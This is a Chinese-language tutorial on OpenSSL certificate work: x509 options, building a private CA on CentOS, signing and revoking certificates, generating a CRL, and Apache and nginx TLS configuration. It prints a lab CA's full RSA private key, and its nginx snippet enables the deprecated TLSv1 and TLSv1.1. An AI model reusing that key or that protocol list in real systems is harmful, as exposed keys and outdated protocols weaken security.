-x509toreq：将已签署的证书转换回证书请求文件。需要使用"-signkey"选项来传递需要的私钥。
-req：x509工具默认以证书文件做为inputfile(-in file)，指定该选项将使得input file的file为证书请求文件。
-set_serial n：指定证书序列号。该选项可以和"-singkey"或"-CA"选项一起使用。
             ：如果和"-CA"一起使用，则"-CAserial"或"-CAcreateserial"选项指定的serial值将失效。
             ：序列号可以使用数值或16进制值(0x开头)。也接受负值，但是不建议。
-CA filename      ：指定签署时所使用的CA证书。该选项一般和"-req"选项一起使用，用于为证书请求文件签署。
-CAkey filename   ：设置CA签署时使用的私钥文件。如果该选项没有指定，将假定CA私钥已经存在于CA自签名的证书文件中。
-CAserial filename：设置CA使用的序列号文件。当使用"-CA"选项来签名时，它将会使用某个文件中指定的序列号来唯一标识此次签名后的证书文件。
                  ：这个序列号文件的内容仅只有一行，这一行的值为16进制的数字。当某个序列号被使用后，该文件中的序列号将自动增加。
                  ：默认序列号文件以CA证书文件基名加".srl"为后缀命名。如CA证书为"mycert.pem"，则默认寻找的序列号文件为"mycert.srl"
-CAcreateserial   ：当使用该选项时，如果CA使用的序列号文件不存在将自动创建：该文件将包含序列号值"02"并且此次签名后证书文件序列号为1。
                  ：一般如果使用了"-CA"选项而序列号文件不存在将会产生错误"找不到srl文件"。
-extfile filename ：指定签名时包含要添加到证书中的扩展项的文件。

【CERTIFICATE EXTENSIONS】
-purpose：选项检查证书的扩展项并决定该证书允许用于哪些方面，即证书使用目的范围。
basicConstraints：该扩展项用于决定证书是否可以当作CA证书。格式为basicConstraints=CA:true | false
                ：1.如果CA的flag设置为true，那么该证书允许作为一个CA证书，即可以颁发下级证书或进行签名；
                ：2.如果CA的flag设置为false，那么该证书就不能作为CA，不能为下级颁发证书或签名；
                ：3.所有CA的证书中都必须设置CA的flag为true。
                ：4.如果basicConstraints扩展项未设置，那么证书被认为可疑的CA，即"possible CA"。
keyUsage：该扩展项用于指定证书额外的使用限制，即也是使用目的的一种表现方式。
        ：1.如果keyUsage扩展项被指定，那么该证书将又有额外的使用限制。
        ：2.CA证书文件中必须至少设置keyUsage=keyCertSign。
        ：3.如果设置了keyUsage扩展项，那么不论是否使用了critical，都将被限制在指定的使用目的purpose上。

#使用x509工具自建CA。由于x509无法建立证书请求文件，所以只能使用openssl req来生成请求文件，然后使用x509来自签署。
openssl req -new -keyout key.pem -out req.csr
openssl x509 -req -in req.csr -signkey key.pem -out x509.crt

#x509也可以用来签署他人的证书请求，即为他人颁发证书。注意，为他人颁发证书时，确保serial文件存在，建议使用自动创建的选项"-CAcreateserial"。
openssl x509 -req -in req.csr -CA ca.crt -CAkey ca.key -out x509.crt -CAcreateserial # 用这个可以避免一些错误

# setp1 签发请求
openssl req -nodes -sha256  -newkey rsa:4096 -keyout apiserver-etcd-client.key  -out apiserver-etcd-client.csr -subj "/CN=apiserver-etcd-client/O=system:masters"

# setp2 ca签发方式1
openssl x509 -days 36500 -req -in apiserver-etcd-client.csr -CA etcd/ca.crt -CAkey etcd/ca.key -CAcreateserial -extensions v3_req_etcd -extfile openssl.cnf -out apiserver-etcd-client.crt
# setp2 ca签发方式2(不推荐，要求有证书签发配置ca，可以没有证书请求配置req)
source ~/env.sh 
export CERT_DIR=etcd
touch $CERT_DIR/index.txt
echo 1000 > $CERT_DIR/serial
touch $CERT_DIR/index.txt.attr
echo "unique_subject = no" > $CERT_DIR/index.txt.attr

openssl ca -batch -days 36500 -notext \
    -config <(cat openssl.cnf <(printf '[ ca ]\ndefault_ca = CA_default\n[ CA_default ]\ndir=${ENV::CERT_DIR}\ncerts = $dir\nnew_certs_dir =$dir\ndatabase = $dir/index.txt\nunique_subject = no\nserial = $dir/serial\npolicy = policy_loose\n[ policy_loose ]\n')) \
    -extensions v3_req_etcd  -notext -cert etcd/ca.crt -keyfile etcd/ca.key -md sha256 -in apiserver-etcd-client.csr -out apiserver-etcd-client.crt 
#清理   
rm -f $CERT_DIR/index*
rm -f $CERT_DIR/100*
rm -f $CERT_DIR/serial*

[root@centos8 ~]#mkdir -pv /etc/pki/CA/{certs,crl,newcerts,private}
[root@centos8 ~]#tree /etc/pki/CA
/etc/pki/CA
├── certs
├── crl
├── newcerts
└── private
# 创建CA所需要的文件
[root@centos8 ~]#touch /etc/pki/CA/index.txt
[root@centos8 ~]#echo 01 > /etc/pki/CA/serial 
#echo 0F > /etc/pki/CA/serial

[root@centos8 ~]#openssl ca -in /data/app1/app1.csr -out /etc/pki/CA/certs/app1.crt -days 1000
Using configuration from /etc/pki/tls/openssl.cnf
140040142845760:error:02001002:system library:fopen:No such file or
directory:crypto/bio/bss_file.c:72:fopen('/etc/pki/CA/index.txt','r')
140040142845760:error:2006D080:BIO routines:BIO_new_file:no such
file:crypto/bio/bss_file.c:79:
[root@centos8 ~]#openssl ca -in /data/app1/app1.csr -out /etc/pki/CA/certs/app1.crt -days 1000
Using configuration from /etc/pki/tls/openssl.cnf
/etc/pki/CA/serial: No such file or directory
error while loading serial number
140240559408960:error:02001002:system library:fopen:No such file or
directory:crypto/bio/bss_file.c:72:fopen('/etc/pki/CA/serial','r')
140240559408960:error:2006D080:BIO routines:BIO_new_file:no such
file:crypto/bio/bss_file.c:79:

[root@centos8 ~]#cd /etc/pki/CA/
[root@centos8 CA]#(umask 066; openssl genrsa -out private/cakey.pem 2048)
[root@centos8 CA]#tree
.
├── certs
├── crl
├── index.txt
├── newcerts
└── private
    └── cakey.pem

[root@centos8 CA]#ll private/
-rw------- 1 root root 1679 May 21 09:05 cakey.pem
[root@centos8 CA]#cat private/cakey.pem 
-----BEGIN RSA PRIVATE KEY-----
MIIEpAIBAAKCAQEAvpyGHD0NWrXCWDeEp1BK6RshJItFyMAM6kntDPHMPxhzuMLC
uSubbb+afJv7TXHTpUOuVJJxu0e8vK2aTmBuhKR6/C/IFY78MQip6ELNYy1cCKrs
BHAawXC6Zi71v5VMwlPkDLcjTPMnlpQrRRJtBB+fzyMaTBvF+0GJPU6vLCqOmRB9
0jB2ElpLVWAIEHjVqpIoXPNFjYfi0yYxnjWTKy5ZyGINiSB5/kJF0epE2EWdhD3f
v3oYZcjY0uSbjN7SDWFCEz1OF1K9jiWQbUBolBEOStq607rsRJQ9AcXAlk+voHuA
6jMMiuzK8daclFxhHT8M/wVO4gxtwLAcSyRSdwIDAQABAoIBABEO3u2eBRjuFTNh
3IxAokOUOvYTRK5/iWhaL02uQfIPlSOewmBh56n9sKygJPA8VI2ArhRBes4g0GIu
QxXqiVlzgtIY0JYlUqpstQ/lEo5im87mxPJsueg/116Xq0R27wShD1KX/R/AzvUp
02l+CaWJ0vptkMfo4GHo7og/B2wzRyzqh6ZMQI236cKWLXTf588T+kkHgDVPJfUl
sU7jEQ+OHofHGrGFEWIP7jjr4KTS+Oe4Hosk3O9ef7uhpKV3gaPTkwB94PUYXR+v
xNWInmiVkfJRDI1FjNwLdxVfiEYLstKa3ncXTRNDtGCDJ1Pt+YG8Pd6i1rPdrsUK
NeGnMnECgYEA6uGm2jwA3qDOBNpQ3fTghox4RkjGHfEkab9qZc61iy8eQpBKmjcU
1N2QJ4I0qyqHKwxLZB8e/iIF4STzO3qkrWPx66sxMuEnJhcXWNJm/3etKbDFHbmQ
HU+DbDoE/nhYhsMuXB3u1q5O01S1OXAZUBgKQesN8bGXRS3ntX4tXf8CgYEAz7/k
tC5DMkRZ4j3HcpsqHBfIBpzObTIAP2d3mM2xtKz2o8XKm6sZcTlBn4SmpdN5JQyR
9sqta7QB3GSvD4jQa9alS33KIickHkAQEkWgie0IQETtBqyxEPjOKIV3nkzCFqZR
PmC54VVFmBnP0JDCdUtRLqVqq1VeILqMNp5M+4kCgYEAnCgHmSG5Zkm8jodiqh4q
w+lR8VBivvdaQR/sqeDi27UoxhJONvcV12uyckHjqESu9tTGrrruDQErrYK2Xz3r
jAddiFQZcn00XOOPNxMzPPcg3g3TDy8WfBYoBuUP+uqh2H6dLMsNxha++0te7N/1
REWnVCnk7GIocurRGN3ZZZsCgYAXv9QhVPiRkobD+lQGof5aX82aE+r1SLYGiYl+
imU6RlubtUzIJvMtomICHmP+qQI8XgeBswHIQjfEPi5VFErfSRZ0XtjwtpDGdIRh
0lvb6KD81+RQ0wUa75aBw2A9VIELnc/D1cLqI5llHe5H5YSVbBrHvllHZObxzuGg
jNA4IQKBgQCk9pjm+VsQtRLxD4mgNp/wtexBNUtuHVKCYiWilHLfbk0ytmR8qH6K
G88Ar4Q1mWU2dJdn1UVEBlp/kVC1ASrI2sK3Zj9SrJ8DB9aDUXwRmNn3Nhfzqa2/
f8vH5vmlj6EM5oUQMiVfm5v4DwosLESmXWSH9V9OaPX5FgzwtrGKew==
-----END RSA PRIVATE KEY-----

# openssl req -new -x509 -key /etc/pki/CA/private/cakey.pem -days 36500 -out /etc/pki/CA/cacert.pem
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [XX]:CN
State or Province Name (full name) []:beijing    
Locality Name (eg, city) [Default City]:beijing
Organization Name (eg, company) [Default Company Ltd]:ops  
Organizational Unit Name (eg, section) []:devops
Common Name (eg, your name or your server's hostname) []:ca.xcw.org          
Email Address []:

[root@centos8 ~]#tree /etc/pki/CA
/etc/pki/CA
├── cacert.pem
├── certs
├── crl
├── index.txt
├── newcerts
└── private
    └── cakey.pem

[root@centos8 ~]#cat /etc/pki/CA/cacert.pem 

# 查看证书内容
# openssl x509 -in cacert.pem  -noout -text
Certificate:
    Data:
        Version: 3 (0x2) # 版本号
        Serial Number:   # 序列号
            8f:a5:27:53:9f:a7:84:9c
    Signature Algorithm: sha256WithRSAEncryption # 签名算法
        Issuer: C=CN, ST=beijing, L=beijing, O=ops, OU=devops, CN=ca.xcw.org   # 颁发者
        Validity # 有效期
            Not Before: Mar  9 17:47:05 2021 GMT
            Not After : Mar  7 17:47:05 2031 GMT
        Subject: C=CN, ST=beijing, L=beijing, O=ops, OU=devops, CN=ca.xcw.org  # 颁发给
        Subject Public Key Info: # 公钥
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
                    00:dd:e3:7f:fd:a0:d4:96:28:7f:ff:8f:2f:ed:20:
                    43:5e:08:83:39:51:37:81:f5:84:80:37:d3:1e:ea:
                    c2:f5:9f:e8:b5:8d:c3:c0:bb:4b:b1:a7:a7:da:66:
                    ab:a9:6e:77:98:3c:29:c7:d5:44:ee:7a:b1:b8:b8:
                    b9:8c:d6:4e:e9:5c:65:75:47:90:e9:ca:e3:78:46:
                    e4:e0:e8:18:53:cd:1e:94:fd:7d:3b:57:35:96:db:
                    59:f5:55:e9:f7:fd:f4:65:2b:c5:6d:4e:2b:b5:59:
                    f5:5e:46:96:5f:23:43:25:77:cd:5f:06:ad:61:75:
                    3e:fb:6b:20:e4:ed:13:73:38:a2:76:36:07:f7:21:
                    ae:26:29:34:69:69:64:98:73:43:f8:ee:d8:bc:84:
                    2a:09:25:22:e8:59:f9:e4:4d:2f:d7:f8:fb:6a:1e:
                    36:da:9c:88:e1:b1:60:c2:0c:35:72:c1:5e:f4:d6:
                    4a:27:d7:28:52:7b:bd:0e:7c:3a:35:46:ba:85:d6:
                    2d:16:01:4d:b5:5a:a5:c6:14:7c:49:7c:26:b9:16:
                    a2:d9:df:99:81:46:a3:c1:7e:09:ae:c6:d0:06:bd:
                    1a:5a:ee:a8:8b:38:f0:8f:06:d4:62:db:c1:a8:a7:
                    e6:1d:ec:8c:19:0a:ac:48:17:f5:dd:de:6a:4e:5b:
                    8b:6f
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Subject Key Identifier:   # 使用者密钥标识符
                36:76:B8:8F:C5:2E:C9:3A:CD:A6:F6:5D:18:BA:D2:9C:C8:A0:CA:85
            X509v3 Authority Key Identifier: # 授权密钥标识符
                keyid:36:76:B8:8F:C5:2E:C9:3A:CD:A6:F6:5D:18:BA:D2:9C:C8:A0:CA:85

            X509v3 Basic Constraints: 
                CA:TRUE
    Signature Algorithm: sha256WithRSAEncryption
         ab:42:dc:6e:0f:a6:da:48:36:29:d9:e6:6c:48:a7:77:cd:42:
         2b:29:7b:da:74:73:f2:b2:16:bb:fd:27:77:6c:44:a4:a8:ad:
         26:cc:f4:0a:2a:08:68:3e:22:cc:fc:7f:3d:4d:65:9f:27:3c:
         92:f5:d0:a1:53:86:a9:3c:cd:bf:dc:a8:d8:ec:2a:03:87:7a:
         63:88:ae:2d:78:be:48:a7:7b:76:6f:f5:00:28:dc:6f:82:59:
         ba:82:58:10:65:8f:9a:92:d1:93:a3:7a:a3:9e:d8:1f:f9:92:
         eb:ec:8e:60:cd:13:4a:44:cb:d2:8e:b1:60:1b:9f:72:df:d6:
         11:eb:cd:9f:d5:3a:e3:f1:76:4c:00:cf:8e:2a:27:fc:df:bc:
         84:8e:f0:90:60:df:5e:67:af:17:1e:22:b2:3a:16:c8:26:f8:
         63:d9:a5:21:6f:87:50:32:87:15:c8:59:16:ab:26:05:12:72:
         9e:db:53:9a:cd:e6:ed:cc:97:ca:bd:b9:d6:e6:a7:0d:5a:31:
         d5:48:1b:0f:ec:bf:08:ea:8d:9d:ff:cd:be:36:14:5b:d7:68:
         99:ec:22:39:dc:e3:c0:4b:9e:a4:ed:1e:c8:00:97:81:41:34:
         f0:72:3c:28:4d:47:a8:a4:c3:d0:5f:7d:b1:71:10:2a:24:9b:
         72:e5:2e:f6
[root@centos8 ~]#sz /etc/pki/CA/cacert.pem 
#将文件cacert.pem传到windows上，修改文件名为cacert.pem.crt，双击可以看到下面显示

[root@centos8 ~]#mkdir /data/app1
[root@centos8 ~]#(umask 066; openssl genrsa  -out /data/app1/app1.key 2048)
Generating RSA private key, 2048 bit long modulus (2 primes)
...............+++++
.......+++++
e is 65537 (0x010001)
[root@centos8 ~]#cat /data/app1/app1.key 

[root@centos8 ~]#openssl req -new -key /data/app1/app1.key -out /data/app1/app1.csr
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [XX]:CN #国家
State or Province Name (full name) []:beijing  # 省份
Locality Name (eg, city) [Default City]:bj
Organization Name (eg, company) [Default Company Ltd]:ops # 组织 # macth 申请证书时国家省份组织这3项必须和CA一致
Organizational Unit Name (eg, section) []:it
Common Name (eg, your name or your server's hostname) []:app1.xcw.org
Email Address []:[email protected]

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:
An optional company name []:.
[root@centos8 ~]#ll /data/app1/
total 8
-rw-r--r-- 1 root root 1045 May 21 09:34 app1.csr
-rw------- 1 root root 1675 May 21 09:31 app1.key

[root@centos8 ~]#openssl ca -in /data/app2/app2.csr -out /etc/pki/CA/certs/app2.crt
Using configuration from /etc/pki/tls/openssl.cnf
Check that the request matches the signature
Signature ok
The stateOrProvinceName field is different between
CA certificate (beijing) and the request (hubei)

# openssl ca -in /data/app1/app1.csr  -out /etc/pki/CA/certs/app1.crt -days 1000 
Using configuration from /etc/pki/tls/openssl.cnf
Check that the request matches the signature
Signature ok
Certificate Details:
        Serial Number: 1 (0x1) # 颁发证书的编号
        Validity               # 有效期
            Not Before: Mar  9 23:43:22 2021 GMT
            Not After : Dec  4 23:43:22 2023 GMT
        Subject:               # 颁发给
            countryName               = CN
            stateOrProvinceName       = beijing
            organizationName          = ops
            organizationalUnitName    = it
            commonName                = app1.xcw.org
        X509v3 extensions:
            X509v3 Basic Constraints: 
                CA:FALSE
            Netscape Comment: 
                OpenSSL Generated Certificate
            X509v3 Subject Key Identifier: 
                03:28:C4:A1:46:73:25:C0:FC:2B:7D:AE:6D:D9:BB:9D:47:77:5F:59
            X509v3 Authority Key Identifier: 
                keyid:36:76:B8:8F:C5:2E:C9:3A:CD:A6:F6:5D:18:BA:D2:9C:C8:A0:CA:85

Certificate is to be certified until Dec  4 23:43:22 2023 GMT (1000 days)
Sign the certificate? [y/n]:y


1 out of 1 certificate requests certified, commit? [y/n]y
Write out database with 1 new entries
Data Base Updated

# tree /etc/pki/CA/
/etc/pki/CA/
├── cacert.pem
├── certs
│   └── app1.crt
├── crl
├── index.txt
├── index.txt.attr #
├── index.txt.old
├── newcerts
│   └── 01.pem # 和 app1.crt内容一样
├── private
│   └── cakey.pem
├── serial
└── serial.old
# cat index.txt.attr 
unique_subject = yes # 证书的申请者是否唯一

[root@centos8 ~]#cat /etc/pki/CA/certs/app1.crt
Certificate:
    Data:
        Version: 3 (0x2)
        Serial Number: 1 (0x1)
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: C=CN, ST=beijing, L=beijing, O=ops, OU=devops, CN=ca.xcw.org
        Validity
            Not Before: Mar  9 23:43:22 2021 GMT
            Not After : Dec  4 23:43:22 2023 GMT
        Subject: C=CN, ST=beijing, O=ops, OU=it, CN=app1.xcw.org
        Subject Public Key Info:
            Public Key Algorithm: rsaEncryption
                Public-Key: (2048 bit)
                Modulus:
                    00:f7:93:c6:9c:ac:86:c5:81:7f:c8:92:70:3d:53:
                    06:8e:4e:c8:f9:5a:36:d0:f8:30:cb:6c:b8:a7:8a:
                    ef:0b:10:10:15:5b:ec:d7:d5:3c:85:fa:0f:dc:d3:
                    e8:e8:54:01:9a:15:a5:58:71:70:f4:7e:84:4b:5d:
                    1b:44:1b:82:11:44:7c:6c:a6:93:1b:ae:f4:09:f9:
                    dc:13:95:e7:e1:ef:e6:e4:d8:05:82:ca:fa:3d:f0:
                    cb:12:5f:d7:8a:80:09:2d:bf:dd:47:63:8d:60:be:
                    aa:10:26:5b:c5:3a:57:d4:11:36:26:f4:92:96:6b:
                    e7:be:40:29:07:0f:e9:a9:9d:ff:8d:d4:3e:a3:f3:
                    71:e7:65:24:a0:73:25:b8:c3:e9:0c:96:90:e0:ef:
                    fe:20:18:d8:cd:56:21:9f:62:ee:6c:de:28:bc:e7:
                    b8:25:12:53:a9:cb:e4:4f:d5:da:07:6b:94:88:3a:
                    8b:c1:35:62:bd:e2:cf:0e:c1:72:79:3b:4c:b4:a2:
                    09:25:36:00:24:26:dd:ff:ae:43:89:bb:b1:87:40:
                    ec:bd:0d:21:c4:1e:a0:85:a2:5b:61:f2:c2:aa:46:
                    76:3f:03:0c:c7:80:46:70:ce:b7:79:9a:85:e7:e7:
                    9c:75:5d:a3:3f:14:12:a0:9d:90:e7:c2:d0:21:b3:
                    a3:e9
                Exponent: 65537 (0x10001)
        X509v3 extensions:
            X509v3 Basic Constraints: 
                CA:FALSE
            Netscape Comment: 
                OpenSSL Generated Certificate
            X509v3 Subject Key Identifier: 
                03:28:C4:A1:46:73:25:C0:FC:2B:7D:AE:6D:D9:BB:9D:47:77:5F:59
            X509v3 Authority Key Identifier: 
                keyid:36:76:B8:8F:C5:2E:C9:3A:CD:A6:F6:5D:18:BA:D2:9C:C8:A0:CA:85

    Signature Algorithm: sha256WithRSAEncryption
         48:86:90:2e:53:df:74:45:97:d9:d1:5b:a6:c2:4d:b3:6f:95:
         6a:bb:9e:df:f2:05:58:80:f8:ae:e4:0a:67:8f:79:6c:33:41:
         80:8d:ca:92:2f:db:2f:22:51:48:3b:53:6c:d6:77:9e:57:46:
         63:5e:10:63:3c:6e:16:b5:cf:2e:29:f4:de:1f:dd:6a:6a:70:
         f8:79:1e:6d:48:3b:cf:a3:56:00:7a:61:b2:68:f0:e6:03:07:
         70:b2:fe:28:73:b6:53:82:5d:50:44:1e:97:d3:7c:1c:ed:22:
         15:ae:61:22:e5:c0:e8:2a:72:fa:b0:c2:dc:38:ed:f4:c2:6c:
         9b:60:f0:e7:55:78:6e:10:a8:a7:3e:96:87:8e:e9:06:b2:a2:
         23:4a:70:11:a9:6e:88:89:c8:02:d0:b1:7e:05:0e:e1:7d:3d:
         ee:7a:ec:26:0d:fe:ad:45:a6:4f:4e:37:1d:f9:fb:67:b0:28:
         92:e0:ed:91:72:a3:61:86:99:87:a6:ab:bc:4f:b5:a1:5a:ae:
         0e:61:6a:10:dd:cc:41:15:d8:1d:8a:31:a9:08:4a:07:e4:31:
         25:07:da:bc:63:77:e9:d1:5e:30:43:28:84:89:9f:d5:ed:4f:
         c1:1e:21:4e:d3:51:9a:36:cb:27:f6:6c:53:9b:b2:ed:17:35:
         9b:70:03:54
-----BEGIN CERTIFICATE-----
MIIDrDCCApSgAwIBAgIBATANBgkqhkiG9w0BAQsFADBlMQswCQYDVQQGEwJDTjEQ
MA4GA1UECAwHYmVpamluZzEQMA4GA1UEBwwHYmVpamluZzEMMAoGA1UECgwDb3Bz
MQ8wDQYDVQQLDAZkZXZvcHMxEzARBgNVBAMMCmNhLnhjdy5vcmcwHhcNMjEwMzA5
MjM0MzIyWhcNMjMxMjA0MjM0MzIyWjBRMQswCQYDVQQGEwJDTjEQMA4GA1UECAwH
YmVpamluZzEMMAoGA1UECgwDb3BzMQswCQYDVQQLDAJpdDEVMBMGA1UEAwwMYXBw
MS54Y3cub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA95PGnKyG
xYF/yJJwPVMGjk7I+Vo20Pgwy2y4p4rvCxAQFVvs19U8hfoP3NPo6FQBmhWlWHFw
9H6ES10bRBuCEUR8bKaTG670CfncE5Xn4e/m5NgFgsr6PfDLEl/XioAJLb/dR2ON
YL6qECZbxTpX1BE2JvSSlmvnvkApBw/pqZ3/jdQ+o/Nx52UkoHMluMPpDJaQ4O/+
IBjYzVYhn2LubN4ovOe4JRJTqcvkT9XaB2uUiDqLwTViveLPDsFyeTtMtKIJJTYA
JCbd/65Dibuxh0DsvQ0hxB6ghaJbYfLCqkZ2PwMMx4BGcM63eZqF5+ecdV2jPxQS
oJ2Q58LQIbOj6QIDAQABo3sweTAJBgNVHRMEAjAAMCwGCWCGSAGG+EIBDQQfFh1P
cGVuU1NMIEdlbmVyYXRlZCBDZXJ0aWZpY2F0ZTAdBgNVHQ4EFgQUAyjEoUZzJcD8
K32ubdm7nUd3X1kwHwYDVR0jBBgwFoAUNna4j8UuyTrNpvZdGLrSnMigyoUwDQYJ
KoZIhvcNAQELBQADggEBAEiGkC5T33RFl9nRW6bCTbNvlWq7nt/yBViA+K7kCmeP
eWwzQYCNypIv2y8iUUg7U2zWd55XRmNeEGM8bha1zy4p9N4f3WpqcPh5Hm1IO8+j
VgB6YbJo8OYDB3Cy/ihztlOCXVBEHpfTfBztIhWuYSLlwOgqcvqwwtw47fTCbJtg
8OdVeG4QqKc+loeO6QayoiNKcBGpboiJyALQsX4FDuF9Pe567CYN/q1Fpk9ONx35
+2ewKJLg7ZFyo2GGmYemq7xPtaFarg5hahDdzEEV2B2KMakISgfkMSUH2rxjd+nR
XjBDKISJn9XtT8EeIU7TUZo2yyf2bFObsu0XNZtwA1Q=
-----END CERTIFICATE-----

[root@centos8 ~]#openssl x509 -in /etc/pki/CA/certs/app1.crt -noout -text # -noout -text 只输出文件头部分

# 看证书指定部分
[root@centos8 ~]#openssl x509 -in /etc/pki/CA/certs/app1.crt -noout -issuer
issuer= /C=CN/ST=beijing/L=beijing/O=ops/OU=devops/CN=ca.xcw.org
[root@centos8 ~]#openssl x509 -in /etc/pki/CA/certs/app1.crt -noout -subject
subject= /C=CN/ST=beijing/O=ops/OU=it/CN=app1.xcw.org
[root@centos8 ~]#openssl x509 -in /etc/pki/CA/certs/app1.crt -noout -dates
notBefore=Mar  9 23:43:22 2021 GMT
notAfter=Dec  4 23:43:22 2023 GMT
[root@centos8 ~]#openssl x509 -in /etc/pki/CA/certs/app1.crt -noout -serial
serial=01

#验证指定编号对应证书的有效性
[root@centos8 ~]#openssl ca -status 01
Using configuration from /etc/pki/tls/openssl.cnf
01=Valid (V)

[root@centos8 ~]#cat /etc/pki/CA/index.txt
V   231204234322Z       01  unknown /C=CN/ST=beijing/O=ops/OU=it/CN=app1.xcw.org

V：表示已经签署的
01：表示证书序列号
/C=CN/ST=Beijing/O=… ...：  表示主题信息(主题标识)
[root@centos8 ~]#cat /etc/pki/CA/index.txt.old
[root@centos8 ~]#cat /etc/pki/CA/serial # 下一个要颁发证书的编号
02
[root@centos8 ~]#cat /etc/pki/CA/serial.old
01

[root@centos8 ~]#cp /etc/pki/CA/certs/app1.crt /data/app1/
[root@centos8 ~]#tree /data/app1/
/data/app1/
├── app1.crt
├── app1.csr
└── app1.key

0 directories, 3 files

[root@centos8 ~]#openssl ca -revoke /etc/pki/CA/newcerts/01.pem
Using configuration from /etc/pki/tls/openssl.cnf
Revoking Certificate 11.
Data Base Updated

[root@centos8 ~]#openssl ca -status 01
Using configuration from /etc/pki/tls/openssl.cnf
01=Revoked (R)
R   231204234322Z   210310001314Z   01  unknown /C=CN/ST=beijing/O=ops/OU=it/CN=app1.xcw.org
@wangedu.org

[root@centos8 ~]#openssl ca -gencrl -out /etc/pki/CA/crl.pem
Using configuration from /etc/pki/tls/openssl.cnf
/etc/pki/CA/crlnumber: No such file or directory
error while loading CRL number
140511895181120:error:02001002:system library:fopen:No such file or
directory:crypto/bio/bss_file.c:72:fopen('/etc/pki/CA/crlnumber','r')
140511895181120:error:2006D080:BIO routines:BIO_new_file:no such
file:crypto/bio/bss_file.c:79:

[root@centos8 ~]#echo 01 > /etc/pki/CA/crlnumber # 被吊销编号，从01开始和index没关系
[root@centos8 ~]#openssl ca -gencrl -out /etc/pki/CA/crl.pem # 可将文件放到公布的网络能被访问到
Using configuration from /etc/pki/tls/openssl.cnf

[root@centos8 ~]#cat /etc/pki/CA/crlnumber
02
[root@centos8 ~]#cat /etc/pki/CA/crl.pem
-----BEGIN X509 CRL-----
MIIB1DCBvQIBATANBgkqhkiG9w0BAQsFADBlMQswCQYDVQQGEwJDTjEQMA4GA1UE
CAwHYmVpamluZzEQMA4GA1UEBwwHYmVpamluZzEMMAoGA1UECgwDb3BzMQ8wDQYD
VQQLDAZkZXZvcHMxEzARBgNVBAMMCmNhLnhjdy5vcmcXDTIxMDMxMDAwMjgwNFoX
DTIxMDQwOTAwMjgwNFowFDASAgEBFw0yMTAzMTAwMDEzMTRaoA4wDDAKBgNVHRQE
AwIBATANBgkqhkiG9w0BAQsFAAOCAQEAg9nJ+vRqvvXkYuSLWJe7Z3h2iIgwyss+
ESNTc9lNAUCVjjhHax5UqoAVjnmLyVZbcJCV8Z2RjLtyhkgjxLVnBq2BqTnILsTO
CcgteU3pV1xUiyFcdEWiNwcp93R0ki2hVgFRvl7DThmCxWTKiiQ8DQb47wBM5pM2
PMAWgEKqgAeY0MPoII4js64teptKL9S5g6cwYYZWz3jHSuTcIUco9V1K+qdmo+DT
ni1fYsDQr+zxIC6uOFcqe8MaT9AuS+6mhLx3w/5xswcak0XYje8OoGjpo3tnxaYj
GucPZf7yRzKI34cKyFAeuUAmik52VDJa9PmXT3rNIORWuaOnU+FNxQ==
-----END X509 CRL-----

[root@centos8 ~]#openssl crl -in /etc/pki/CA/crl.pem -noout -text
Certificate Revocation List (CRL):
        Version 2 (0x1)
    Signature Algorithm: sha256WithRSAEncryption
        Issuer: /C=CN/ST=beijing/L=beijing/O=ops/OU=devops/CN=ca.xcw.org
        Last Update: Mar 10 00:28:04 2021 GMT
        Next Update: Apr  9 00:28:04 2021 GMT
        CRL extensions:
            X509v3 CRL Number: 
                1
Revoked Certificates:
    Serial Number: 01
        Revocation Date: Mar 10 00:13:14 2021 GMT
    Signature Algorithm: sha256WithRSAEncryption
         83:d9:c9:fa:f4:6a:be:f5:e4:62:e4:8b:58:97:bb:67:78:76:
         88:88:30:ca:cb:3e:11:23:53:73:d9:4d:01:40:95:8e:38:47:
         6b:1e:54:aa:80:15:8e:79:8b:c9:56:5b:70:90:95:f1:9d:91:
         8c:bb:72:86:48:23:c4:b5:67:06:ad:81:a9:39:c8:2e:c4:ce:
         09:c8:2d:79:4d:e9:57:5c:54:8b:21:5c:74:45:a2:37:07:29:
         f7:74:74:92:2d:a1:56:01:51:be:5e:c3:4e:19:82:c5:64:ca:
         8a:24:3c:0d:06:f8:ef:00:4c:e6:93:36:3c:c0:16:80:42:aa:
         80:07:98:d0:c3:e8:20:8e:23:b3:ae:2d:7a:9b:4a:2f:d4:b9:
         83:a7:30:61:86:56:cf:78:c7:4a:e4:dc:21:47:28:f5:5d:4a:
         fa:a7:66:a3:e0:d3:9e:2d:5f:62:c0:d0:af:ec:f1:20:2e:ae:
         38:57:2a:7b:c3:1a:4f:d0:2e:4b:ee:a6:84:bc:77:c3:fe:71:
         b3:07:1a:93:45:d8:8d:ef:0e:a0:68:e9:a3:7b:67:c5:a6:23:
         1a:e7:0f:65:fe:f2:47:32:88:df:87:0a:c8:50:1e:b9:40:26:
         8a:4e:76:54:32:5a:f4:f9:97:4f:7a:cd:20:e4:56:b9:a3:a7:
         53:e1:4d:c5

[root@centos8 ~]#sz /etc/pki/CA/crl.pem
#将此文件crl.pem传到windows上并改后缀为crl.pem.crl

1、vi /usr/local/apache/conf/httpd.conf
去掉这行注释
Include conf/extra/httpd-ssl.conf

2、vi /usr/local/apache/conf/extra/httpd-ssl.conf 
修改以下两项，将openssl生成的证书cp到相应路径（/etc/httpd2/）
SSLCertificateFile "/etc/httpd2/httpd.crt"
SSLCertificateKeyFile "/etc/httpd2/httpd.key"
ServerName www.emacle.com:443

3、重启服务
apachectl start

listen 443 ssl;
#ssl on;    #在server中多个端口配置需要注释掉，不然报400错误
ssl_certificate ssl/214049825510693.pem;
ssl_certificate_key ssl/214049825510693.key;
ssl_session_cache   shared:SSL:20m;
ssl_session_timeout 10m;
ssl_protocols TLSv1 TLSv1.1 TLSv1.2;
